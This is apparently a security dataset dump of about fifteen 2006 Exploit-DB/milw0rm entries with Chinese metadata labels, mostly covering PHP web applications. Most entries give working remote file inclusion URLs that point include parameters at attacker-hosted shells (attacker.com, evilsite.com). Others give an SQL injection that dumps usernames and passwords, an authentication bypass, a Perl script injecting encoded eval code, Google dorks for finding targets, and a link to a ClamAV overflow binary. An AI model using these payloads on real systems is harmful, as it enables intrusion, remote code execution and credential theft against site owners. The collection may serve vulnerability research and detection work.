QLWD/code_shield huggingface dataset:
标题: Power Phlogger 2.0.9 - 'config.inc.php3' File Inclusion EDB-ID: 2602 CVE: 2006-7106 2002-1885 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-19 漏洞利用脚本: #################################
# Power Phlogger 2.0.9 -        #
#################################
#Class:     Remote|Local File Include Vulnerability
# Remote:    Yes
# Local:     No
# Type:      High
# Site:      http://www.comscripts.com/scripts/php.power-phlogger.211.html #
# Author:    x_w0x
# Contact:   x_w0x@hotmail.com
###################################
#Vuln Code
(config.inc.php3):
<?php
include $rel_path."functions.php3";//nothing here
?>

#
http://victim.com/[Power Phlogger 2.0.9]/config.inc.php3?rel_path=http://DarknesseScript.txt


#Gr££tz:makoki, azzcoder,xoron,osm@n
#Speciale gr££tz: str0ke, and elite-team

# milw0rm.com [2006-10-19] URL: https://www.exploit-db.com/exploits/2602
标题: PHP AMX 0.90 - '/plugins/main.php' Remote File Inclusion EDB-ID: 2591 CVE: 2006-5427 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-18 漏洞利用脚本: ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
#                                                               #
#           [ phpamx 0.90 ]                                     #
#                                                                
# Class:     Remote|Local File Include Vulnerability            #
# Patch:     Unavailable                                        #
# Published  2006/10/18                                         #
# Remote:    Yes                                                
# Local:     No             #
# Type:      High                                               #
# Site:      http://sourceforge.net/projects/phpamx/            #
# Author:    MP
# Contact:   mp01010@yahoo.com         #
#               #
#################################################################

Vuln Code
 (php/plugins/main.php):
<?php
include($plug_path."!playtime_top15.php");
include($plug_path."!mapcycle_list.php");
//nothing here
?>

#Vuln 1.0 -> require register_globals = On
http://victim.com/phpamx-0.9.0/php/plugins/main.php?plug_path=http://attacker.com/


#Vuln 2.0 -> require magic_quotes_gpc = Off
http://victim.com/phpamx-0.9.0/php/plugins/main.php?plug_path=http://attacker.com/shell.php?cmd=pwd%00

# milw0rm.com [2006-10-18] URL: https://www.exploit-db.com/exploits/2591
标题: PHPPowerCards 2.10 - 'txt.inc.php' Remote Code Execution EDB-ID: 2590 CVE: 2006-5432 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-18 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: phpPowerCards 2.10
+ Vendor ............: http://www.giombetti.com/
+ Download ..........: http://lu.download.giombetti.com/phpPowerCards/phppowercards2.10.zip
+ Description .......: "phpPowerCards is a powerfull PHP based postcard script."
+ Class .............: Remote Code Execution
+ Risk ..............: High (Remote Code Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ phpPowerCards db/txt.inc.php does not initialize the $file variable before using it in the
+ fopen() function on line 10, after $file is opened it then writes several variables which
+ are also uninitialized to $file using the fputs() function. Assuming register_globals = on,
+ we can initialize these variables in a query string and then write anything to a file we
+ desire on the target box that's running phpPowerCards.
+ 
+ Vulnerable Code:
+ db/txt.inc.php, line(s) 10: $fp = fopen("$file","a");
+ db/txt.inc.php, line(s) 23: fputs($fp, $email[to]. "¦¦" .$email[from]. "¦¦" .$name[to]. "¦¦" .$name[from]. "¦¦" .$picture. "¦¦" .$comment. "¦¦" .$sessionID. "\n");
+ 
+ Proof of Concept:
+ http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&email[to]=[evil code]
+ http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&comment=[evil code]
+ ... same thing repeated for each variable in the second argument of fputs() on line 23
+ 
+ -> http://[target]/[path]/db/txt.inc.php?file=../evilfile.php&check=0&email[to]=+%3C%3Fphp+include%28%24evil_include%29%3B+%3F%3E+
+ -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-18] URL: https://www.exploit-db.com/exploits/2590
标题: Easynews 4.4.1 - 'admin.php' Authentication Bypass EDB-ID: 2588 CVE: 2006-5412 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-17 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ Easynews <= 4.4.1 (admin.php) Authentication Bypass Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: Easynews <= 4.4.1
+ Vendor ............: http://www.myupb.com/
+ Download ..........: http://fileserv.myupb.com/download.php?url=easynews4.4.1.zip
+ Description .......: "A news management system for your website."
+ Class .............: Authentication Bypass
+ Risk ..............: High (Authentication Bypass)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Easynews doesn't properly check to ensure an administrator has been logged in with correct
+ username and password information, it only checks if $admin[$en_login_id] == "true".
+ 
+ Tested and working on version 4.4.0 and 4.4.1 (previous versions may also be affected)
+ with register_globals = On, after bypassing the login check administrators have the option
+ to edit config2.php (PHP code can be inserted then executed by visiting config2.php directly
+ or any other script that includes config2.php) and other general settings.
+ 
+ Vulnerable Code:
+ admin.php, line(s) 22: if(@$admin[$en_login_id] == "true") //admin is logged in successfuly
+ 
+ Proof Of Concept:
+ http://[target]/[path]/admin.php?action=users&en_login_id=0
+ http://[target]/[path]/admin.php?action=config&en_login_id=0
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-17] URL: https://www.exploit-db.com/exploits/2588
标题: Clam AntiVirus 0.88.4 - 'rebuildpe' Remote Heap Overflow (PoC) EDB-ID: 2587 CVE: 2006-4182 类型: DOS 平台: MULTIPLE 发布日期: 2006-10-17 漏洞利用脚本: Clam AntiVirus <= 0.88.4 (rebuildpe) Remote Heap Overflow PoC
Damian Put pucik[at]gazeta.pl 
    pucik[@]overflow.pl
    http://overflow.pl

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2587.exe.bz2 (10172006-clam_petite_heap.exe.bz2

# milw0rm.com [2006-10-17] URL: https://www.exploit-db.com/exploits/2587
标题: P-News 1.16 - Remote File Inclusion EDB-ID: 2577 CVE: 2006-5434 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-16 漏洞利用脚本: ============================================
P-News 1.16, 1.17 Remote File Inclusion Vulnerability
============================================

Discovered by vegas78 - feel82[at]web.de
============================================
Greetz: scoper, corny, smaesch0r, Sascha Schmalz, 
        ReFleCtion, BleX, |pupi (?),   
============================================

include("$pn_lang/functions.php"); // bad code
include("$pn_lang/language.php"); // bad code
...

fix:
make absolute path declaration or update to the new 2.* version

// Google string
allintitle:"P-news ver. 1.16" / allinurl:p-news.php

================================================================

http://site/p-news.php?pn_lang=[shell]

================================================================

# milw0rm.com [2006-10-16] URL: https://www.exploit-db.com/exploits/2577
标题: WoltLab Burning Book 1.1.2 - SQL Injection EDB-ID: 2579 CVE: 2006-5509 2006-5508 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-16 漏洞利用脚本: #!/usr/bin/perl

# woltlab.de burning book <=1.1.2 SQL and PHP injection PoC
# use /index.php?q=phpinfo();exit;
# ShAnKaR sec[A]shankar.antichat.ru
# http://antichat.ru/

use LWP;
die("use ./burn-book.pl http://localhost/wbbook/ [1(number book db, default `1`)]\n") if !$ARGV[0];$ARGV[1]='' if !$ARGV[1];
my $ua=LWP::UserAgent->new();
$ua->post($ARGV[0].'/addentry.php',[reg_image=>0,send=>'send',name=>1,message=>1,
n=>$ARGV[1].'_templates (`templateid`,`templatename`,`template`) VALUES (char(55,55,55),char(105,110,100,101,120,95,102,105,101,108,100,115),char(92,34,59,64,101,118,97,108,40,36,95,71,69,84,91,113,93,41,59,36,102,105,101,108,100,115,61,92,34,60,98,114,32,47,62,60,117,62,36,102,105,101,108,100,116,105,116,108,101,60,47,117,62,58,32,36,102,105,101,108,100))/*',]);

# milw0rm.com [2006-10-16] URL: https://www.exploit-db.com/exploits/2579
标题: Specimen Image Database - 'client.php' Remote File Inclusion EDB-ID: 2576 CVE: 2008-7152 2006-5419 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-16 漏洞利用脚本: ---------------------------------------------------------------------------
SID - [dir] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : SID
URL : http://sid.zoology.gla.ac.uk/SID_box_notns.zip

------------------------------------------------------------------


Exploit:
~~~~~~~
Variable $dir not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/client.php?dir=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-16] URL: https://www.exploit-db.com/exploits/2576
标题: ALiCE-CMS 0.1 - 'CONFIG[local_root]' Remote File Inclusion EDB-ID: 2582 CVE: 2006-5433 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-17 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ ALiCE-CMS 0.1 (CONFIG[local_root]) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: ALiCE-CMS 0.1
+ Vendor ............: http://alicecms.sourceforge.net/
+ Description .......: "ALiCE is a content-management-system cms written in php4 with mysql database."
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ The $CONFIG['local_root'] variable in modules/guestbook/index.php is not set before being
+ used to include files.
+ 
+ Vulnerable Code:
+ modules/guestbook/index.php, line(s) 2: require $CONFIG['local_root'].'modules/guestbook/guestbook.class.php';
+ modules/guestbook/index.php, line(s) 3: require $CONFIG['local_root'].'modules/guestbook/guestbookfunctions.php';
+ 
+ Proof Of Concept:
+ http://[target]/[path]/modules/guestbook/index.php?CONFIG[local_root]=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-17] URL: https://www.exploit-db.com/exploits/2582
标题: PHPMyManga 0.8.1 - 'template.php' Multiple File Inclusions EDB-ID: 2578 CVE: 2006-6760 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-16 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ PhpMyManga <= 0.8.1 (template.php) Multiple File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Affected Software .: PhpMyManga <= 0.8.1
+ Vendor ............: http://phpmanga.sourceforge.net/
+ Description .......: "PhpMyManga is a web-based application for cataloging your collection of mangas."
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Input passed to the 'actionsPage' or 'formPage' parameter in template.php is not sanitized
+ before being used to include files.
+ 
+ Vulnerable Code:
+ template.php, line(s) 97-99: if (isSet($actionsPage)) { include($actionsPage); }
+ template.php, line(s)   115: include($formPage);
+ 
+ Proof Of Concept:
+ http://[target]/[path]/template.php?actionsPage=http://evilsite.com/shell.php?
+ http://[target]/[path]/template.php?formPage=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-16] URL: https://www.exploit-db.com/exploits/2578
标题: Brim 1.2.1 - 'renderer' Multiple Remote File Inclusions EDB-ID: 2589 CVE: 2006-5429 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-17 漏洞利用脚本: #                     Brim 1.2.0pre3 , 1.2.1           #
#       renderer Remote File Include Vulnerability     #
#                       Turkish Hacker's               #
#       Discovered By : mdx and The_Bat_Hacker         #
#                                                      #
#------------------------------------------------------
#               Cyber-Warrior TIM                      #
#         Ay ve  Y.ld.zlar Geceye Yak...r...           #
#        the moon and the stars suit the night         #
########################################################
#
# Class : REmote
########################################################
#             File Code Detailed
#File1 :templates/barrel/template.tpl.php?
#File1 :templates/sidebar/template.tpl.php?
#File1 :templates/text-only/template.tpl.php?
#File1 :templates/slashdot/template.tpl.php?
#File1 :templates/penguin/template.tpl.php?
#File1 :templates/pda/template.tpl.php?
#File1 :templates/oerdec/template.tpl.php?
#File1 :templates/nifty/template.tpl.php?
#File1 :templates/mylook/template.tpl.php?
#File1 :templates/barry/template.tpl.php?
#Code :
#
#   <?php include $renderer; ?>
#
########################################################
#
#
# Exploit1 : http://www.target.***/[path]/templates/barrel/template.tpl.php?renderer=http://shell.txt?
# Exploit2 : http://www.target.***/[path]/templates/sidebar/template.tpl.php?renderer=http://shell.txt?
# Exploit3 : http://www.target.***/[path]/templates/text-only/template.tpl.php?renderer=http://shell.txt?
# Exploit4 : http://www.target.***/[path]/templates/slashdot/template.tpl.php?renderer=http://shell.txt?
# Exploit5 : http://www.target.***/[path]/templates/penguin/template.tpl.php?renderer=http://shell.txt?
# Exploit6 : http://www.target.***/[path]/templates/pda/template.tpl.php?renderer=http://shell.txt?
# Exploit7 : http://www.target.***/[path]/templates/oerdec/template.tpl.php?renderer=http://shell.txt?
# Exploit8 : http://www.target.***/[path]/templates/nifty/template.tpl.php?renderer=http://shell.txt?
# Exploit9 : http://www.target.***/[path]/templates/mylook/template.tpl.php?renderer=http://shell.txt?
# Exploit1 : http://www.target.***/[path]/templates/barry/template.tpl.php?renderer=http://shell.txt?
#
########################################################
#                         _ThankX_
#
#
#
#Cyber-warrior User ,PROHACK, Siber-korsanlar [redx, dipsomania, k.z.l_alev]
#Shika, xoron , real_dark_boy,Ulubatl. All Friends
########################################################

http://prdownloads.sourceforge.net/brim/brimfull-1.2.1-16_Oct_2006.zip?use_mirror=heanet

# milw0rm.com [2006-10-17] URL: https://www.exploit-db.com/exploits/2589
标题: Osprey 1.0 - 'GetRecord.php' Remote File Inclusion EDB-ID: 2572 CVE: 2006-6631 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-16 漏洞利用脚本: ---------------------------------------------------------------------------
Osprey <= 1.0 [lib_dir] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : osprey
version : 1.0
URL : http://osprey.ibiblio.org/download/osprey-1.0.tar.bz2
Description: Osprey is a peer-to-peer enabled content distribution system. A metadata management system for software and document collections enables local and distributed searching of materials. Items are available for download directly via URL or indirectly via the BitTorrent peer-to-peer protocol.
------------------------------------------------------------------


Exploit:
~~~~~~~
Variable $lib_dir not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/web/lib/xml/oai/GetRecord.php?lib_dir=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-16] URL: https://www.exploit-db.com/exploits/2572
标题: OpenDock FullCore 4.4 - Remote File Inclusion EDB-ID: 2570 CVE: 2006-5392 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-16 漏洞利用脚本: ---------------------------------------------------------------------------------
OpenDock FullCore <= v4.4 Remote File Include Vulnerabilities
---------------------------------------------------------------------------------

Author : Matdhule

Contact : matdhule@gmail.com

Application : OpenDock FullCore

Version : 4.4

Download : http://web.opendock.net//up_file/opendock_full_core_44_66_od.zip

---------------------------------------------------------------------------------

Vulnerability:

In folder sw we found vulnerability script index_sw.php.

-----------------------index_sw.php---------------------------------
<?php

include $doc_directory.$path_sw."lib_config/lib_sys_config.php";
include $doc_directory.$path_sw."lib_main/lib_main.php";

-------------------------------------------------------------------------

Input passed to the "$doc_directory" parameter in index_sw.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

sw/lib_cart/cart.php
sw/lib_cart/lib_cart.php
sw/lib_cart/lib_read_cart.php
sw/lib_cart/lib_sys_cart.php
sw/lib_cart/txt_info_cart.php
sw/lib_comment/comment.php
sw/lib_comment/find_comment.php
sw/lib_comment/lib_comment.php
sw/lib_find/find.php

And many others files...

---------------------------------------------------------------------------------

Exploit :

http://target.com/[OpenDockFullCore_Path]/sw/index_sw.php?doc_directory=http://attacker.com/inject.txt ?
http://target.com/[OpenDockFullCore_Path]/sw/lib_cart/cart.php?doc_directory=http://attacker.com/inject.txt ?
http://target.com/[OpenDockFullCore_Path]/sw/lib_cart/lib_cart.php?doc_directory=http://attacker.com/inject.txt ?
http://target.com/[OpenDockFullCore_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt ?

---------------------------------------------------------------------------------

Greetz : solpot, j4mbi_h4ck3r, h4ntu, the_day, bius, thama & all crews #nyubicrew, #e-c-h-o, @dalnet

# milw0rm.com [2006-10-16] URL: https://www.exploit-db.com/exploits/2570
标题: webSPELL 4.01.01 - 'getsquad' SQL Injection EDB-ID: 2568 CVE: 2006-5388 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-15 漏洞利用脚本: # WebSPELL <= 4.01.01 (getsquad) Remote SQL Injection Exploit
 # by: Kiba

 #EXPLOIT:
 http://[PAGE]/[PATH]/index.php?site=squads&getsquad=Where+1=0+Union+Select+1,1,username,1,password,1+from+[PREFIX]_user/*

 #REPLACE:
 (if the website is http://yourwebsite.de/webspell/index.php)
 [PAGE]  with  "yourwebsite.de"
 [PATH]  with  "webspell" (if there is no subdirectory then remove it)
 [PREFIX] the Prefix of the database tables (try "webs_user")

 # Have FUN

# milw0rm.com [2006-10-15] URL: https://www.exploit-db.com/exploits/2568
标题: DigitalHive 2.0 RC2 - 'base_include.php' Remote File Inclusion EDB-ID: 2566 CVE: 2006-5493 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-15 漏洞利用脚本: #==============================================================================================
#DigitalHive <= v2.0 RC2 (page) Remote File Inclusion Exploit
#===============================================================================================
#                                                                     
#Critical Level : Dangerous                                           
#                                                                     
#Venedor site : http://www.digitalhive.com/base.php?page=site/telechargements.php&var=accueil    
#                                                                     
#Version : v2.0 RC2                                           
#                                                       
#================================================================================================
#
#DORK : "Powered by DigitalHive"
#
#================================================================================================
#Bug in : template/purpletech/base_include.php
#
#Vlu Code :
#--------------------------------
#
#        <?php include ($_GET["page"]); ?>
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/template/purpletech/base_include.php?page=http://SHELLURL?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Thx To : Str0ke & SuperRomio & XoRon & MDx & Simo
# sPECial THanks to : Coder-AZH@CKTEAM
==================================================================================================

# milw0rm.com [2006-10-15] URL: https://www.exploit-db.com/exploits/2566